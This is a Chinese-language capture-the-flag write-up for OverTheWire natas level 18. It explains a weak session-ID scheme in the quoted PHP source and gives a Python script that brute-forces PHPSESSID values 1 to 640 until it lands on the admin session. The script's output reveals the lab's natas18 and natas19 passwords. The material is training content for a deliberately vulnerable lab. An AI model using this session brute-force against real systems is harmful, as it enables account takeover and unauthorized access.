Overthewire-natas18

Overthewire level 18 to level 19

这题的界面上让我们输入用户名和密码,随便输入一些字符后给了个普通用户的回显

You are logged in as a regular user. Login as an admin to retrieve credentials for natas19.

显然,这是让我们想办法成为admin用户了。先看看网页的源码。

function createID($user) {
    global $maxid; //maxid=640
    return rand(1, $maxid);
}
function isValidAdminLogin() {
    if($_REQUEST["username"] == "admin") {
    /* This method of authentication appears to be unsafe and has been disabled for now. */
        //return 1;
    }

    return 0;
}

function my_session_start() {
    if(array_key_exists("PHPSESSID", $_COOKIE) and isValidID($_COOKIE["PHPSESSID"])) {
    if(!session_start()) {
        debug("Session start failed");
        return false;
    } else {
        debug("Session start ok");
        if(!array_key_exists("admin", $_SESSION)) {
            debug("Session was old: admin flag set");
            $_SESSION["admin"] = 0; // backwards compatible, secure
            }
            return true;
        }
    }

    return false;
}

function print_credentials() {
    if($_SESSION and array_key_exists("admin", $_SESSION) and $_SESSION["admin"] == 1) {
        print "You are an admin. The credentials for the next level are:<br>";
        print "<pre>Username: natas19\n";
        print "Password: <censored></pre>";
    } else {
        print "You are logged in as a regular user. Login as an admin to retrieve credentials for natas19.";
    }
}

通过分析网页的源码,找到了三个关键的函数

  • createID() 用于生成用户的id,[1,640]范围内的一个整数
  • isValidAdminLogin() 用来判断用户是否是admin,但是return 1的代码被注释掉了,也就是说无论用户是否是用admin的账号登录都会被视为是普通用户
  • my_session_start() 执行一次登录操作
  • print_credentials() 打印一些东西
    最后看下网页的逻辑
$showform = true;
if(my_session_start()) {
    print_credentials();
    $showform = false;
} else {
    if(array_key_exists("username", $_REQUEST) && array_key_exists("password", $_REQUEST)) {
        session_id(createID($_REQUEST["username"]));
        session_start();
        $_SESSION["admin"] = isValidAdminLogin();
        debug("New session started");
        $showform = false;
        print_credentials();
    }
}

网页通过$_SESSION["admin"] = isValidAdminLogin()来判断是否是admin用户,但是这个函数返回一定是false,因此这题中能让系统判定我们是admin的方法就是修改cookie.
由前面生成id的函数可以判断出admin的id也在[1,640]范围内,因此我们只需要写一个脚本来在穷举一下所有的值即可, 代码如下

import requests

target = 'http://natas18.natas.labs.overthewire.org/index.php'
for i in range(1, 641):
    cookies = {'PHPSESSID': str(i)}
    resp = requests.post(target,
                         auth=('natas18', 'xvKIqDjy4OPv7wCRgDlmj0pFsCsDjhdP'),
                         cookies=cookies)
    print(f"tried {i}")
    if 'next level' in resp.text:
        print(resp.text)
        break

代码执行结果如下

tried 1
tried 2
...
tried 119
...
You are an admin. The credentials for the next level are:<br><pre>Username: natas19
Password: 4IwIrekcuZlA9OsjOkoUtwU6lhokCPYs</pre><div id="viewsource"><a href="index-source.html">View sourcecode</a></div>

第19关的密码为4IwIrekcuZlA9OsjOkoUtwU6lhokCPYs

上一篇:Pulumi Stack 命令不能找到默认的 Stack


下一篇:Laravel JWT Method Illuminate\\Auth\\SessionGuard::factory does not exist